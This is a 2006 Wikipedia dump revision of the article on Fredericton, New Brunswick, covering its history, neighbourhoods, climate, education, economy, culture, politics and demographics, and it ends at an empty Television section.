    <title>Fredericton, New Brunswick</title>
    <id>10633</id>
    <revision>
      <id>41501636</id>
      <timestamp>2006-02-27T20:16:35Z</timestamp>
      <contributor>
        <username>Kirjtc2</username>
        <id>3222</id>
      </contributor>
      <minor />
      <comment>/* Radio */</comment>
      <text xml:space="preserve">{{Canadian City|
  Reference Name=City of {{PAGENAME}}|
  Header Format=Custom Coat of Arms|Flag Image=|Coat Image=Frederictonarms.jpg|
  Motto=Fredericpolis silvae filia noblis (Fredericton noble daughter of the forest) |
  Latitude Longitude=|CCMapSource=coor br|d1=45|m1=57|d2=66|m2=40|EP=|
  Elevation=20|
  Time zone=AST|
  Postal Code=E3A, E3B, E3C|
  Population description=City (2001)|
  Population=47,560|
  Population Density=362.4|
  Area=131.23|&lt;!--4521.72 Metro--&gt;
  City Mayor=Brad Woodside |
  Governing Body=Fredericton City Council|
  MPs=[[Andy Scott]]|
  MLAs=[[Thomas J. Burke]], [[Brad Green]], [[Kelly Lamrock]]|
  website=http://www.city.fredericton.nb.ca/|
  Census Year=2001|
  Extra references=None|
}}
:''For the Canadian federal electoral district of the same name, see [[Fredericton (electoral district)]]''

'''Fredericton''', capital of the province of [[New Brunswick]], [[Canada]]. Fredericton is an important cultural, artistic and educational centre for the province.  Fredericton boasts two universities - the [[University of New Brunswick]] and the liberal arts focused [[St. Thomas University (New Brunswick)|St. Thomas University]].  Fredericton is also home to cultural institutions such as the [[Beaverbrook Art Gallery]], the [[York-Sunbury Museum]] and [[The Playhouse (Fredericton)|The Playhouse]], the latter which serves as a venue for local talent/writers. As well, adding to the city's rich cultural milieu, Fredericton is home to the annual [[Harvest and Jazz and Blues Festival]] every fall which attracts regional and international jazz and blues artists.  The city also contains a growing IT and commercial sector.  The city boasts the highest percentage of residents with a post-secondary education in the province and one of the highest per capita incomes.     

The population of city of Fredericton is 48,000 (greater Fredericton 81,346, both per 2001 census), although unofficial reports more around 50,750 (greater Fredericton 84,523) due to the student population which is often not counted in official censuses. The first major expansion of city the occurred on July 1, 1945 when it amalgamated with the town of [[Devon, New Brunswick|Devon]]. Today the city of Fredericton comprises Fredericton proper, and the boroughs of [[Silverwood, New Brunswick|Silverwood]], [[Nashwaaksis, New Brunswick|Nashwaaksis]], [[Barker's Point, New Brunswick|Barker's Point]] and [[Marysville, New Brunswick|Marysville]], which were incorporated into the city in 1973. 

The city is situated in the west-central portion of the province and, along with [[Moncton, New Brunswick|Moncton]] and [[Saint John, New Brunswick|Saint John]], is one of the main urban centres in southern New Brunswick.  The [[St. John River]] flows in a west-east direction, bisecting the city and providing the dominant natural feature for the municipality.

==History==
{{main|History of Fredericton}}
[[Image:christchurch.JPG|thumb|right|300px|Christ Church Cathedral, construction began in 1845 (officially opened 1853)]]

===Aboriginal, French, and Early British Settlement===
The area of the present-day City of Fredericton was first used for seasonal farming by the [[Mi'kmaq]] and [[Maliseet]] peoples.  Corn was a primary crop they grew in the area.  Interestingly, in a sense, the site of Fredericton served as a sort of capital for Aboriginals in the area. Aucpaque, the &quot;principle village&quot; of the [[Aboriginal peoples of Canada|Aboriginals]] in the area, was located a few kilometres up river from the site of present day Fredericton. 

The first European contact in the area was by the [[France|French]] in the late [[17th Century]], who granted the land to [[Joseph de Villebon]]. In 1692, he built a fort ([[Fort Nashwaak]]) on the north side of the [[Saint John River]], at the mouth of the [[Nashwaak River]]. For a period, [[Fort Nashwaak]] served as the capital of the French colony of [[Acadia]].  After de Villebon's death in 1700 and a devastating flood, the fort was abandoned.

The Fredericton area was first permanently settled and named Pointe-Sainte-Anne (often anglicized to Ste. Anne's Point) in 1732 by Acadians fleeing [[Nova Scotia]] after the [[Great Britain|British]] took over the territory. Their townsite was on the south side of the river, approximately a mile upriver from Fort Nashwaak. The British captured Ste. Anne's Point after the [[expulsion of the Acadians]] in 1755, burning the settlement to the ground. A 1762 settlement attempt by the British was unsuccessful due to hostility of local Acadian and Aboriginal populations.  These settlers ended up building a community down river at what is today the town of [[Maugerville, New Brunswick|Maugerville]].  However, three fur traders manged to permanently settle there in 1768.

===The Loyalists and the Founding of Fredericton===
In 1783, [[United Empire Loyalists]] settled in Ste. Anne's Point after the [[American Revolution]], although many died during the first winter in Fredericton which was harsh and long.  Those who perished during that winter were buried in what became the Loyalist cemetery, which is still found on the south bank of the Saint John River.  When spring came - more Loyalists left the new settlement to take up land grants in other areas of the countryside.   

When New Brunswick became a separate colony from Nova Scotia in 1784, Ste. Anne's Point became the provincial capital, winning out over Parrtown (present-day [[Saint John, New Brunswick|Saint John]]) due to its central inland location meaning it was less prone to American attack from the sea. A street plan was laid out to the west of the original townsite, King's College (now the [[University of New Brunswick]]) was founded, and the locale was renamed &quot;Frederick's Town&quot;, in honour of the second son of King [[George III of the United Kingdom]], [[Prince Frederick, Duke of York|Prince Frederick Augustus, Duke of York]].  The name was shortened to Fredericton shortly after the city became the official provincial capital of New Brunswick on [[April 25]], [[1785]].  Thus, in a period of less than three years, the area of Fredericton went from being a sparsley populated region to being the capital of the new colony of New Brunswick.

The same attributes that made Fredericton the capital city also made it an ideal spot for a military installation. Many of the original military buildings downtown still stand, and are now tourist attractions. 

A building was constructed to house the provincial legislative assembly in 1788, but it was destroyed by a fire in 1880. Two years later, the present [[New Brunswick Provincial Legislature|Legislature Building]] was constructed.

===Nineteenth and Twentieth Century===
In 1848, [[Christ Church Cathedral (Fredericton)|Christ Church Cathedral]] (part of the [[Church of England]]) was built, allowing Fredericton to achieve city status. 

A Maliseet settlement, today called the [[St. Mary's First Nation]], was founded on the north side of the river in 1847.  However, Saint Mary's saw its initial allocation reduced as Fredericton grew and surrounded it.

Until [[Devon, New Brunswick|Devon]] (a town incorporated in 1917 after the merger of the village's of St. Mary's Ferry and Gibson) was amalgamated with Fredericton in 1945, the corporate limit of the city of Fredericton was restrained to the south side.  The postwar period (until the end of the 1970s) saw a growth in Fredericton's population - and the development of the flat area along with the establishment of bedroom communities such as [[New Maryland, New Brunswick|New Maryland]].  This was due to the growth of the provincial government and the universities. 

In 1973, the city annexed several bedroom communities, such as [[Nashwaaksis, New Brunswick|Nashwaaksis]], [[Marysville, New Brunswick|Marysville]], [[Barker's Point, New Brunswick|Barker's Point]], and [[Silverwood, New Brunswick|Silverwood]]. Although all of these names are still in common use, references to simply the &quot;north side&quot; or the &quot;south side&quot; (with the Saint John River being the dividing line) are generally used by local residents.

===Historic Marysville===
{{main|History of Marysville}}

One of the communities annexed to Fredericton in 1973, Marysville, has a unique and distinctive history of its own.  Marysville is located on the [[Nashwaak River]] - a tributary of the [[Saint John River]] - just North of pre-1973 Fredericton.  The community is distinguished by its 19th century Mill and historic buildings which include nineteenth century company houses and buildings which are patterned after that of many British industrial towns.  

Marysville can be described as a prime example of a nineteenth century mill town.  In the 1830s, a saw mill was built on the site of Marysville by two local entrepreneurs.  However, the saw mill frequently changed ownership and never showed a profit.  It was [[Alexander Gibson (industrialist)|Alexander Gibson]] (popularly referred to as &quot;Boss Gibson&quot;) who turned this situation around and built a prosperous industrial town.  In 1883, under the direction of Gibson, construction began of a Cotton Mill which was state of the art for its time.  &quot;Boss&quot; Gibson named the company town, that grew up around the Mill, Marysville in honour of his wife.  

In 1908, having faced financial problems, Gibson sold the Mill to a Montreal-based company which, in turn, sold it to Canadian Cottons Ltd.  After WWII, foreign competition devastated the Mill's business and it ceased operations in 1954.  There were numerous attempts to re-open the Mill however, in 1980, it closed its doors permanently.

The Mill was renovated and re-opened in 1985 as provincial government offices.  The Mill still remains the dominant feature in the Marysville skyline.

==Neighbourhoods==
The City of Fredericton is bisected by the Saint John River - this creates distinctive regions of the city characterized as &quot;The Northside&quot; and the &quot;Southside.&quot; 

The Southside is characterized by a downtown core consisting of provincial government departments, historical buildings, and numerous business establishments, banks, and law firms.  Downtown also hosts many of the city's cultural attractions such as [[The Playhouse]], the [[York-Sunbury Museum]], and the [[Beaverbrook Art Gallery]], to name a few.  Many notable historical buildings are also located in or near downtown, including many grand Victorian-era residences, the Provincial Legislature Building, and Christchurch Cathederal.  South of downtown the city's elevation rises along a gently sloping hill (part of the river valley feature of the city where there is another sloping hill on the Northside).  This &quot;Hill area&quot; of the city consists of many middle to upper income neighbourhoods, leading some to dub it &quot;sirloin hill&quot; or &quot;mortgage hill&quot;, in reference to the higher housing costs.

The &quot;Hill Area&quot; also includes an area known as &quot;College Hill&quot;, where the adjoining campuses of the [[University of New Brunswick]] and [[St. Thomas University (New Brunswick)|St. Thomas University]] are located, slightly southeast of the downtown area.  South of the universities is the [[Doctor Everett Chalmers Hospital]], the main hospital serving central/western New Brunswick.  East of the universities is the Skyline Acres/Southwood Park area - a growing suburban district of the city.  Further east - on the eastern city limits - is the Industrial Park consisting of box stores, wholesalers, and warehouses.

Southwest of downtown, in the Hill area, is a large preserved forested area - O'Dell Park.  Its trails and wooded areas are a favourite for hiking, jogging and cross country skiing for city residents.  West of the park is the Hanwell Road, Golf Club Road, and [[Silverwood, New Brunswick|Silverwood]] nieghbourhoods consisting largely of suburban residences.  

South of the &quot;Hill Area&quot; - where it plateaus, is a sizeable shopping district consisting of two Malls - [[The Fredericton Mall]] and [[The Regent Mall]] as well as numerous other retail outlets.

The City's &quot;Northside&quot; consists of several boroughs which were at one time separate communities.  These include [[Devon, New Brunswick|Devon]], [[Nashwaaksis, New Brunswick|Nashwaaksis]], [[Marysville, New Brunswick|Marysville]] and [[Barker's Point, New Brunswick|Barker's Point]].  These communities are largely suburban neighbourhoods and retail outlets.  Union Street, which runs just north of the [[Saint John River]] includes numerous retail outlets as well as an eclectic array of businesses including IT firms, law firms, and real estate agents, among others.  Also located on the Northside is the Brookside Mall - one of Fredericton's major retail outlets.  

Also on the northside is Marysville which is Canada's only intact British-style Mill town.  Built in the 19th century under the direction of mill owner and businessman Alexander &quot;Boss&quot; Gibson, Marysville grew into a prosperous Mill town with an ideal location along a tributary of the [[Saint John River]].  Marysville still retains many British style dwellings as well as the original Mill which has since been converted to provincial government offices. [http://www.ccge.org/ccge/english/Resources/rivers/tr_rivers_SJRcompanyTown.asp]

The Northside is also home to the [[Saint Mary's First Nation]] [[indian reserve|Aboriginal reserve]], which includes a community centre and a shopping centre along with private residences.  During the Christmas season, residences of the Saint Mary's First Nations sport some of the most colourful and creative decorations in the city.

==Climate and Geography==
{| class=&quot;toccolours&quot; align=&quot;left&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin:0 0 1em 1em; font-size: 95%;&quot;
|-
! colspan=5 bgcolor=&quot;#ccccff&quot; align=&quot;center&quot;| Fredericton: Average Temperature and Precipitation &lt;br&gt; Breakdown by month
|-
! align=&quot;center&quot;| Month !! align=&quot;center&quot;| Precipitation&lt;br&gt;mm !! align=&quot;center&quot; | Temperature &lt;br&gt;(Low °C) !! align=&quot;center&quot; | Temperature &lt;br&gt; (High °C)!! align=&quot;center&quot; |Temperature &lt;br&gt; (Daily &lt;br&gt; Mean °C)

|-
| colspan=5|&lt;hr&gt;
|-
| align=&quot;center&quot;| Jan || align=&quot;center&quot;| 92.1 || align=&quot;center&quot;| -14.8 || align=&quot;center&quot;| -3.8|| align=&quot;center&quot;| -9.3
|-
| align=&quot;center&quot;| Feb || align=&quot;center&quot;| 76.2 || align=&quot;center&quot;| -13.9 || align=&quot;center&quot;| -2.2|| align=&quot;center&quot;| -8.0
|-
| align=&quot;center&quot;| Mar || align=&quot;center&quot;| 79.4 || align=&quot;center&quot;| -7.7 || align=&quot;center&quot;| 2.7|| align=&quot;center&quot;| -2.5
|-
| align=&quot;center&quot;| Apr || align=&quot;center&quot;| 82.8 || align=&quot;center&quot;| -1.1 || align=&quot;center&quot;| 9.5|| align=&quot;center&quot;| 4.2
|-
| align=&quot;center&quot;| May || align=&quot;center&quot;| 84.2 || align=&quot;center&quot;| 4.4 || align=&quot;center&quot;| 17.2|| align=&quot;center&quot;| 10.8
|-
| align=&quot;center&quot;| Jun || align=&quot;center&quot;| 84.2 || align=&quot;center&quot;| 9.5 || align=&quot;center&quot;| 22.5|| align=&quot;center&quot;| 16.0
|-
| align=&quot;center&quot;| Jul || align=&quot;center&quot;| 85.3 || align=&quot;center&quot;| 12.9 || align=&quot;center&quot;| 25.6|| align=&quot;center&quot;| 19.2
|-
| align=&quot;center&quot;| Aug || align=&quot;center&quot;| 87.8 || align=&quot;center&quot;| 11.8 || align=&quot;center&quot;| 24.4|| align=&quot;center&quot;| 18.1
|-
| align=&quot;center&quot;| Sep || align=&quot;center&quot;| 89.5 || align=&quot;center&quot;| 6.8 || align=&quot;center&quot;| 19.4|| align=&quot;center&quot;| 13.1
|-
| align=&quot;center&quot;| Oct || align=&quot;center&quot;| 94.6 || align=&quot;center&quot;| 1.6 || align=&quot;center&quot;| 13.0|| align=&quot;center&quot;| 7.3
|-
| align=&quot;center&quot;| Nov || align=&quot;center&quot;| 101.3 || align=&quot;center&quot;| -3.1 || align=&quot;center&quot;| 5.8|| align=&quot;center&quot;| 1.3
|-
| align=&quot;center&quot;| Dec || align=&quot;center&quot;| 97.1 || align=&quot;center&quot;| -11.5 || align=&quot;center&quot;| -1.5|| align=&quot;center&quot;| -6.5
|-
| align=&quot;center&quot;| Year || align=&quot;center&quot;| 1060.2 || align=&quot;center&quot;| -0.3 || align=&quot;center&quot;| 11.1 || align=&quot;center&quot;| 5.3
|-source: http://www.worldclimate.com/cgi-bin/grid.pl?gr=N45W066
|}

Fredericton is located in the middle of the Saint John River valley, with most of the city's post-war suburban development occurring on gently sloping hills on either side of the river, although the downtown core is flat and lies low to the river. 

At an altitude of approximately 17 metres above sea level, the city of Fredericton is embedded in the [[Pennsylvanian Basin]] and it contrasts markedly from the geologically older parts of the province. Roughly, there are two distinct areas in the region that are divided around Wilsey Road, in the east end of the city. In one area the underlying bedrock is topographically dominant whereas the other is controlled by [[Pleistocene]] and recent deposits leading to the rivers in the area being shallow and wide. 

Fredericton and its surroundings are rich in water resources, which, coupled with highly arable soil, make the Fredericton region ideal for agriculture. The [[Saint John River]] and one of its major tributaries, the [[Nashwaak River]], come together in Fredericton.  The  uninhabited parts of the city are heavily forested.

Fredericton enjoys a mild [[climate]] compared to most of Canada, although its location away from the coastline means it is more prone to extreme temperatures than most other major cities in [[Atlantic Canada]].  The average January low [[temperature]] is -15°C; while the average high in July and August is 26°C. [http://www.climate.weatheroffice.ec.gc.ca/]

The city gets a fair amount of [[precipitation]], although major paralyzing [[snow]] and [[rain]] storms such as [[blizzard]]s and [[hurricane]]s are uncommon compared to more coastal cities like [[Moncton]] or [[Halifax Regional Municipality, Nova Scotia|Halifax]] (but do happen on occasion).  On average, Fredericton receives approximately 1100 mm of precipitation per year.  Snowfall is common between late November and early April, and snow usually stays on the ground beginning in December.  [[Flood]]ing occurs during the [[Spring (season)|spring]] of most years on area rivers and affects the city's low lying neighbourhoods.

==Education and Research==
===Universities and Colleges===
[[Image:UNB.JPG|thumb|right|300px|Looking down the hill from UNB towards downtown and the Saint John River]]
Fredericton's status as an educational centre is evident in the city's two degree granting [[universities]]: the [[University of New Brunswick]] and [[St. Thomas University (New Brunswick)]].  

The [[University of New Brunswick]] - commonly abbreviated UNB - was founded in 1785 and - along with the University of Georgia - is the oldest public university in North America.  Built in 1826, UNB's [[Old Arts Building]] is the oldest university building still in use in Canada.  UNB also houses Renaissance College which is a leading elite leadership training institution in New Brunswick.  UNB houses a Faculty of Law which is one of two Anglophone common-law schools in Atlantic Canada.  

[[Saint Thomas University]] is the province's only Catholic university and has been located in Fredericton since 1964, when it moved from its [[Chatham, New Brunswick]] campus.  [[Saint Thomas University]] - commonly abbreviated as STU - is a leading liberal arts university that boasts programs in gerontology, criminology, journalism, social work, native studies, and education. 

Adding to Fredericton's cultural and artisitic life is the [[New Brunswick College of Craft and Design]] which houses the provinces leading programs in photography and visual arts.  The [[New Brunswick Community College]] maintains a campus in Fredericton providing two year degree programs oriented to quick entry into the job market.

Fredericton is also home to a small Pentecostal College, the Northeastern Christain College, located on the city's northside.  This college trains and certifies [[pentecostalism|pentecostal]] [[Minister (Christianity)|Ministers]].&lt;/p&gt;

===School System===
Fredericton is home to two public [[high school]]s.  [[Fredericton High School]], which was once the largest school in the [[Commonwealth of Nations]] until the construction of [[Leo Hayes High School]] in 1999, primarily serves students on the south side.  It is also one of the oldest public highschools in Canada tracing its beginnings to 1785 - having celebrated its bicentennial in 1985.  Fredericton High School is home to several important sports teams - including basketball, hockey, soccer, and football - which dominated New Brunswick provincial highschool sports championships during much of the 1980s and 1990s.

[[Leo Hayes High School]], which opened in 1999, serves north side students.  In addition, there are four [[middle schools]], fourteen [[elementary schools]] and three [[private schools]] in the city.  A recent issue with middle schools in the city has been the location of George Street Junior High and Albert Street Junior High close to the city centre.  This fails to account for the city's changing demographic - which has seen the growth of suburban neighbourhoods.  Recent discussions have involved possibly closing down either George Street Junior High or Albert Street Junior to replace them with a suburban Junior High School - possibly to be located in Skyline Acres in the Eastern part of the City.

Fredericton is also serviced by the French language Ecole Sainte Anne which provides K-12 French language education.  Ecole Sainte Anne is administered by a school district system separate from that which governs the English language schools in the city.&lt;/p&gt;

===Research===
Fredericton hosts several major research centres - dealing with policy development, agriculture, forestry, and engineering.  These research institutions are either connected to the City's two universities as well as the provincial and federal government.

The Hugh John Flemming Forestry Centre (including Provincial and Federal Departments) is the leading forestry research centre in Atlantic Canada.  This Centre carries out major research endeavours in forestry management and scientific research.  The Centre closely collaberates with the Forestry Department at the [[University of New Brunswick]] which is one of the top Forestry Departments in Canada.  As well, research and development in agriculture and crop development is carried out at the Agricultural Research Station in Lincoln.

The [[University of New Brunswick]] is the site of several major research centres in social science, forestry, geomatics and biomedical engineering, and policy devlopment.  These include the Centre for Conflict Studies - which carries out Research on military and strategic issues and the Muriel McQueen Fergusson Centre for Family Violence Research carries out multi-disciplinary research on family violence issues.  Furthermore, the Institute of Biomedical Engineering has completed groundbreaking work on prosthetic limbs to aid war amputees in developing countries.  

As well, the city's growing IT sector has been the basis for new research on IT and computer programming development.

==Economy==
&lt;!-- Unsourced image removed: [[Image:King_Street.jpg|thumb|left|300px|A view of Downtown from King Street, 2004]] --&gt;
During the 19th and early 20th centuries, the lumber industry - with corresponding mills - were a primary sector of Fredericton's economy.  Over the course of the 20th century, these industries declined and gave way to the provincial government and the universities being the primary employers in the city.

The policies of centralizing provincial government functions during the 1960s under New Brunswick Premier [[Louis Robichaud]] -along with the expanded role of the public sector characteristic of the 1960s/70s - led to a sizeable expansion of the city's population.  It was during these decades that the Hill area on the city's Southside was largely developed and bedroom communities such as [[New Maryland, New Brunswick|New Maryland]] emerged.

The 1960s also saw an expansion of the [[University of New Brunswick]] - due to increased post-war university enrollments - as well as the construction of the Fredericton campus of [[Saint Thomas University]].  Also contributing to this expansion was the move of the Law School to the Fredericton area.  This expansion of the post-secondary sector also contributed to Fredericton's population growth during the 1960s and 1970s.  Since then, the city's population has continued to grow though at a slower rate due to slower growth of the government sector - along with hiring freezes and in some cases layoffs - during the [[Frank McKenna]] and [[Bernard Lord]] governments.

In recent years, increased student enrollments at the city's universities has led to greater demand for rental property.  This has led to the construction of new university residences and apartment buildings in the city and increased rates of rent - making them the highest rental rates in the province.

It is due to the predominance of the universities and government in the city, that Fredericton has not been subjected to the severe economic fluctuations faced by other Atlantic Canadian cities that have had to deal with mill shutdowns and the decline of the fishing industry in recent decades.  It is for this reason that Fredericton is one of the few Atlantic Canadian cities, along with [[Moncton]] and [[Halifax Regional Municipality|Halifax]], [[Nova Scotia]] that has actually reported a population increase in recent years.  

In the 1990s several [[call centres]] opened up in the Fredericton area due to policies of the McKenna Liberal government.  Lately, the city has also tried to entice [[technology]] firms to mixed success.  Several local IT companies have specialized in e-Learning services making Fredericton an e-Learning hub of sorts in the spirit of [[Smartforce]] (a homegrown e-learning company which saw major downsizing after its heyday in the dot-com era, and later renamed [[SkillSoft]].) 

The city has been investing actively in IT infrastructure.  The City of Fredericton was recently the winner of the &quot;Judges Innovation Award&quot; at the 2004 C.I.P.A. (Canadian Information Productivity Awards) Awards  due to their &quot;Fred-eZone&quot; free municipality wide [[WiFi]] network initiative. This and other innovations by the city's [[utelco]], '''e-Novations''', lead world leading technology company [[Intel]] to do a case study on their successes.  Fred-eZone spans much of the city’s downtown, parts of surrounding residential areas as well as peripheral commercial areas such as Fredericton's Regent Mall.

Recently, the [[New Brunswick]] government has been seeking to attract more immigrants to the province (and consequently the Fredericton area) to increase the labour force and compensate for an aging population.

==Culture==
[[Image:Beaverbrook.JPG|thumb|right|300px|The Beaverbrook Art Gallery]]
Due to the presence of the two universities, Fredericton is more cosmopolitan than many cities its size.  This is reflected in cuisine offered by local ethnic restaurants (which include Mexican, Lebanese, Indian, Pakistani, Chinese, Caribbean, Italian, Brazilian, Japanese and Greek foods).  There are also several retail outlets that sell ethnic products and artifacts.

Fredericton is an important cultural centre of the region featuring art galleries, the [[New Brunswick College of Craft and Design]], museums and theatres which promote local artistic and literary talent.

Architecturally, Fredericton spans more than two centuries.  The city features an eclectic mix of buildings and residences ranging from classical Victorian style to modern office buildings and architecture.  Fredericton’s skyline is also distinguished by many historic churches.

===Arts===
The [[Beaverbrook Art Gallery]], a prestigious art gallery on the south bank of the Saint John River, is New Brunswick's provincial art gallery and maintains a collection of considerable quality.  The gallery was established and built in 1958 by British press baron [[Lord Beaverbrook]] as a gift to his native province where he was born and grew up. [[Gallery 78]], located across the street, features works by local artists.

The [[Fredericton Playhouse]] hosts plays and musicals throughout the year, and acts as the home base of [[Theatre New Brunswick]] (TNB) – the province’s largest stage troupe. The Playhouse also hosts visiting comedians and musical performances by Canadian and international artists. Officer's Square serves as a venue for outdoor concerts during the summer, featuring a variety of local and national talent.  During the winter, Officer's Square is transformed into an outdoor skating rink.

Every fall Fredericton hosts the [[Harvest Jazz and Blues Festival]] that transforms the mood of the city’s downtown by giving it a Jazz spark.  The week-long Harvest Jazz and Blues Festival draws artists from all over North America.

===Sports and Recreation===
There are no professional sports teams in Fredericton, although both universities have extensive athletic programs. The UNB Varsity Reds and St. Thomas Tommies are rivals in most sports, and their hockey games are called the &quot;Battle of the Hill&quot;. The [[American Hockey League]] was once represented in Fredericton, with the [[Fredericton Express]] playing between [[1981]] and [[1988]], and the [[Fredericton Canadiens]] between [[1991]] and [[1999]].

Fredericton has several parks, including [[Odell Park]] and [[Wilmot Park]]. [[Killarney Lake]] and nearby [[Mactaquac Provincial Park]] have small beaches which are popular in the summer. Skiing (and snowboarding in recent years) at nearby [[Crabbe Mountain]] is also a common winter activity among city residents.  There are also several cross-country skiing trails that cross the city. 

Fredericton is in the process of constructing two sports and leisure complexes which will have several hockey rinks as well as health club facilities and an indoor track.

==Government and Politics==
[[Image:NB_Legislature.jpg|thumb|right|300px|NB Legislative Building, seat of New Brunswick Government since 1882]]

===Administrative Structure===
Fredericton has a [[mayor-council]] and [[non-partisan]] form of government, with the mayor and council serving fixed four-year terms (three years until 2004), and elections held in May.  The last election was in 2004. The current mayor is [[Brad Woodside]], who first served from 1986 until 1999 but was re-elected in 2004 in a close race with city councillor Joel Richardson. 

The city is divided into twelve [[ward (politics)|wards]] (six on each side of the Saint John River), with each ward electing one councillor.  

The [[Boyce Farmer's Market]], open on Saturday mornings, is a place where municipal, provincial and federal politicians frequently visit to mingle with their electorate - something which has evolved into a political tradition. Local MP Andy Scott is a familiar fixture at the market on most Saturdays. 


===Municipal Politics in Fredericton===
The population of Fredericton largely consists of social conservatives - especially on issues regarding gay rights, same sex marriage, pornography/strip clubs/prostitution and abortion.  However, there is a large and active gay community in the city as well as two universities that introduce liberal/radical elements into the city's politics.  Political life in Fredericton is characterized by this cleavage between social conservatives and social liberals. Radical groups, based at the universities, sometimes hold demonstrations.

Woodside made a controversial decision in [[1997]] by refusing to proclaim [[Gay Pride Week]].  When ordered by the New Brunswick Human Rights Commission - upon complaint by gay rights activists led by Allison Brewer (now leader of the [[New Brunswick New Democratic Party]]) and Arlene Glencross - Woodside whispered the proclamation at a city council meeting.  He was then ordered again to proclaim gay pride week audibily which he did.  Woodside later quit as mayor to launch an unsuccessful bid as a [[Liberal Party of New Brunswick|Liberal]] candidate in [[Fredericton North]] in the [[New Brunswick general election, 1999|1999 provincial election]]. In [[New Brunswick municipal elections, 2004|2004]] he entered the mayoral race on the final day of nominations, and defeated incumbent Les Hull and councillor Joel Richardson.

Some notable councillors include long serving Tommy Jellinek of Ward 9 and former councillor Joel Richardson who narrowly missed winning the mayoral race in 2004.

===Fredericton and Provincial/Federal Politics===
Fredericton is divided into three provincial legislative districts: 
* [[Fredericton North]] - represented by Liberal Justice Critic [[T.J. Burke]] 
* [[Fredericton South]] - represented by Progressive Conservative [[Brad Green]] 
* [[Fredericton-Fort Nashwaak]] - represented by Liberal [[Kelly Lamrock]] 

Provincially, Fredericton elected progressive Conservatives from 1952 until electoral sweep of the Liberal Party in 1987 when they won every seat in New Brunswick under [[Frank McKenna]].  Since then there has been greater political alteration in the provincial electoral landscape in Fredericton.

In 1991, the anti-bilingual [[Confederation of Regions Party of New Brunswick|Confederation of Regions Party]] won the riding of Fredericton North (along with several other nearby ridings).  In 1999 Progressive Conservatives swept all three Fredericton area seats; however, in 2003, Fredericton-North and Fredericton-Fort Nashwaak returned to the Liberals.  [http://www.gnb.ca/elections/index-e.asp] 

Federally, the city forms most of the riding of [[Fredericton (electoral district)|Fredericton]].  This riding was formerly known as Fredericton-York-Sunbury but was redistributed prior to the 1997 general election.  From 1957 until 1993 Fredericton returned Progressive Conservatives.  However, since 1993, the riding has been represented by Liberal [[Andy Scott]].

==Demographics==
{| class=&quot;toccolours&quot; align=&quot;right&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin:0 0 1em 1em; font-size: 95%;&quot;
|-
! colspan=2 bgcolor=&quot;#ccccff&quot; align=&quot;center&quot;| Historical populations
|-
! align=&quot;center&quot;| Census&lt;br&gt;year !! align=&quot;right&quot;| Population
|-
| colspan=2|&lt;hr&gt;
|-
| align=&quot;center&quot;| 1871 || align=&quot;right&quot;| 6,006
|-
| align=&quot;center&quot;| 1881 || align=&quot;right&quot;| 6,218
|-
| align=&quot;center&quot;| 1891 || align=&quot;right&quot;| 6,502
|-
| align=&quot;center&quot;| 1901 || align=&quot;right&quot;| 7,117
|-
| align=&quot;center&quot;| 1911 || align=&quot;right&quot;| 7,208
|-
| align=&quot;center&quot;| 1921 || align=&quot;right&quot;| 8,114
|-
| align=&quot;center&quot;| 1931 || align=&quot;right&quot;| 8,830
|-
| align=&quot;center&quot;| 1941 || align=&quot;right&quot;| 10,062*
|-
| align=&quot;center&quot;| 1951 || align=&quot;right&quot;| 16,018
|-
| align=&quot;center&quot;| 1956 || align=&quot;right&quot;| 18,303
|-
| align=&quot;center&quot;| 1961 || align=&quot;right&quot;| 19,683
|-
| align=&quot;center&quot;| 1966 || align=&quot;right&quot;| 22,460
|-
| align=&quot;center&quot;| 1971 || align=&quot;right&quot;| 24,254
|-
| align=&quot;center&quot;| 1976 || align=&quot;right&quot;| 45,248**
|-
| align=&quot;center&quot;| 1981 || align=&quot;right&quot;| 43,723
|-
| align=&quot;center&quot;| 1991 || align=&quot;right&quot;| 46,510
|-
| align=&quot;center&quot;| 2001 || align=&quot;right&quot;| 47,560
|-
| ||align=&quot;right&quot;|* Boundary change
|-
| ||align=&quot;right&quot;|** City amalgamated with surroundings in 1973
|}

The population of City of Fredericton is 47,560 (greater Fredericton 81,346, both per 2001 census), although unofficial reports more around 50,750 (greater Fredericton 84,523) due to the student population which is often not counted in official censuses.  Along with [[Moncton]] and [[Halifax Regional Municipality, Nova Scotia|Halifax]], Fredericton is one of three Maritime cities to register a population growth in recent years.

===Ethnicity===
Fredericton's population is predominately white/caucasian.  However, a significant black minority has had a long presence in the city and live primarily in the Barker's Point borough.  As well, Willie O'Ree - first black player in the NHL - was from Fredericton.  The largest non-white ethnic group in Fredericton are Aboriginals who live primarily on the Saint Mary's Reserve located on the City's Northside.

The 1960s and 1970s began to see the influx of immigrants of Asian and Middle Eastern descent.  However, their numbers still remain small.  Since 2000, the city's universities - Saint Thomas University and the University of New Brunswick - have seen a growing number of students from overseas attending.  However, this population is not permanent and generally not counted in the census.

The ethnic breakdown of Fredericton is as follows:
*[[White]]: 75,555 or 97.4%
*[[mixed race]]: 640 or 0.8%
*[[overseas Chinese|Chinese]]: 440 or 0.5%
*[[Asian]]: 430 or 0.5%
*[[Black]]: 370 or 0.4%
* (single responses only)

===Religion===
Fredericton is a predominately Christian city with Protestants forming the largest denomination.  The city is notable for its many churches - a high number per capita in comparison to most other Canadian cities.  The small [[pentecostalism|Pentecostal]] Northeastern Christian college is located on the city's Northside.  While the Roman Catholic population is not as large, the city does boast the province's only Roman Catholic university - Saint Thomas University.  Recent issues at Saint Thomas University have concerned whether the university should adopt a more Catholic character.

Fredericton has a [[Judaism|Jewish]] synagogue, an [[Islam|Islamic]] mosque, and a [[Hinduism|Hindu]] temple as well.  The importance of these institutions has been growing in recent years warranting visits by prominent politicians in the area seeking election.  Fredericton is also distinguished by a sizeable and active [[Bahá'í Faith|Bahá'í]] community. A [[Unitarianism|Unitarian]] Fellowship has been serving Fredericton since 1960 as a place for people to find a liberal religious home.

The religious breakdown of Fredericton is as follows:
*52.0% [[Protestant]]
*29.6% [[Roman Catholic]]
*2.1% other [[Christian]]
*1.6% non-Christian
*17.4% non-religious

===Language===
While a predominately Anglophone city, the civil service has seen an increase in the City's francophone population.  This population is serviced by the Centre Communitaire de St. Anne (which include K-12 schooling, a radio station, a public library, and cultural centre).  As well, Fredericton is serviced by the francophone church located on Regent Street.

The linguistic breakdown of Fredericton is as follows:
*88.2% [[English language|English]]
*6.4% [[French language|French]]
*0.4% bilingual
*5.0% other

==Media==

===Television===

